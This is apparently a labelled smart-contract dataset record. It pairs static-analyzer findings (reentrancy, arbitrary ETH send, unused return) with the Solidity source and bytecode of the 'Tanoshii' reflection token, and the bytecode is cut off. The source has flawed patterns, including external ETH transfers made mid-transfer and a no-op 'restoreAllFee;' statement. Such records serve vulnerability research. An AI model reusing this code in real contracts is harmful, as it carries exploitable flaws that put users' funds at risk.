3565b6001600160a01b038216610b595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610473565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610473565b6001600160a01b038216610c805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610473565b60008111610ce25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610473565b6001600160a01b03831660009081526006602052604090205460ff1615610d0857600080fd5b60046009556003600a556000546001600160a01b03848116911614801590610d3e57506000546001600160a01b03838116911614155b15610e9157600d546001600160a01b038481169116148015610d6e5750600c546001600160a01b03838116911614155b8015610d9357506001600160a01b03821660009081526005602052604090205460ff16155b15610dbd57600e54811115610da757600080fd5b600d54600160a01b900460ff16610dbd57600080fd5b600c546001600160a01b03848116911614801590610df457506001600160a01b03831660009081526005602052604090205460ff16155b15610e1a57600d546001600160a01b0390811690831603610e1a5760046009556003600a555b6000610e2530610635565b600d54909150600160a81b900460ff16158015610e505750600d546001600160a01b03858116911614155b8015610e655750600d54600160b01b900460ff165b15610e8f57610e7381610f98565b4767016345785d8a0000811115610e8d57610e8d47610ed6565b505b505b6108598383836111d6565b60008184841115610ec05760405162461bcd60e51b815260040161047391906115b3565b506000610ecd8486611a03565b95945050505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f10573d6000803e3d6000fd5b5050565b6000600754821115610f7b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610473565b6000610f856111e1565b9050610f918382611194565b9392505050565b600d805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fe057610fe0611989565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611039573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105d919061196c565b8160018151811061107057611070611989565b6001600160a01b039283166020918202929092010152600c546110969130911684610a96565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110cf908590600090869030904290600401611a1a565b600060405180830381600087803b1580156110e957600080fd5b505af11580156110fd573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b600082600003611124575060006103ba565b60006111308385611918565b90508261113d8583611a8b565b14610f915760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610473565b6000610f9183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611204565b610859838383611232565b60008060006111ee611329565b90925090506111fd8282611194565b9250505090565b600081836112255760405162461bcd60e51b815260040161047391906115b3565b506000610ecd8486611a8b565b600080600080600080611244876113a8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112769087611405565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112a59086611447565b6001600160a01b0389166000908152600260205260409020556112c7816114a6565b6112d184836114f0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161131691815260200190565b60405180910390a3505050505050505050565b60075460009081908161133e6008600a611909565b61134b9062895440611918565b905061137261135c6008600a611909565b6113699062895440611918565b60075490611194565b82101561139f576007546113886008600a611909565b6113959062895440611918565b9350935050509091565b90939092509050565b60008060008060008060008060006113c58a600954600a54611514565b92509250925060006113d56111e1565b905060008060006113e88e878787611563565b919e509c509a509598509396509194505050505091939550919395565b6000610f9183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e9c565b6000806114548385611aad565b905083811015610f915760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610473565b60006114b06111e1565b905060006114be8383611112565b306000908152600260205260409020549091506114db9082611447565b30600090815260026020526040902055505050565b6007546114fd9083611405565b60075560085461150d9082611447565b6008555050565b600080808061152860646108db8989611112565b9050600061153b60646108db8a89611112565b905060006115538261154d8b86611405565b90611405565b9992985090965090945050505050565b60008080806115728886611112565b905060006115808887611112565b9050600061158e8888611112565b905060006115a08261154d8686611405565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156115e0578581018301518582016040015282016115c4565b818111156115f2576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a9357600080fd5b803561162881611608565b919050565b6000806040838503121561164057600080fd5b823561164b81611608565b946020939093013593505050565b60008060006060848603121561166e57600080fd5b833561167981611608565b9250602084013561168981611608565b929592945050506040919091013590565b6000602082840312156116ac57600080fd5b8135610f9181611608565b634e487b7160e01b600052604160045260246000fd5b8015158114610a9357600080fd5b8035611628816116cd565b600080604083850312156116f957600080fd5b823567ffffffffffffffff8082111561171157600080fd5b818501915085601f83011261172557600080fd5b8135602082821115611739576117396116b7565b8160051b604051601f19603f8301168101818110868211171561175e5761175e6116b7565b60405292835281830193508481018201928984111561177c57600080fd5b948201945b838610156117a1576117928661161d565b85529482019493820193611781565b96506117b090508782016116db565b9450505050509250929050565b600080604083850312156117d057600080fd5b82356117db81611608565b915060208301356117eb81611608565b809150509250929050565b60006020828403121561180857600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156118605781600019048211156118465761184661180f565b8085161561185357918102915b93841c939080029061182a565b509250929050565b600082611877575060016103ba565b81611884575060006103ba565b816001811461189a57600281146118a4576118c0565b60019150506103ba565b60ff8411156118b5576118b561180f565b50506001821b6103ba565b5060208310610133831016604e8410600b84101617156118e3575081810a6103ba565b6118ed8383611825565b80600019048211156119015761190161180f565b029392505050565b6000610f9160ff841683611868565b60008160001904831182151516156119325761193261180f565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561197e57600080fd5b8151610f9181611608565b634e487b7160e01b600052603260045260246000fd5b6000600182016119b1576119b161180f565b5060010190565b6000806000606084860312156119cd57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119f857600080fd5b8151610f91816116cd565b600082821015611a1557611a1561180f565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a6a5784516001600160a01b031683529383019391830191600101611a45565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611aa857634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611ac057611ac061180f565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220081346edf0029eb2885c109cea2199908191f3ef6187d3eb7e8686a8718a170564736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,785 |
0xcf81ad58449ad89a784156f703b8ba70fe3d017d
|
/*
Tanoshii = similar to Myobu with slight tweaks.
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Tanoshii is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Tanoshii";
string private constant _symbol = "TANOSHII";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 6;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = true;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 6;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 8;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (4 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (8 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600881526020017f54616e6f73686969000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f54414e4f53484949000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff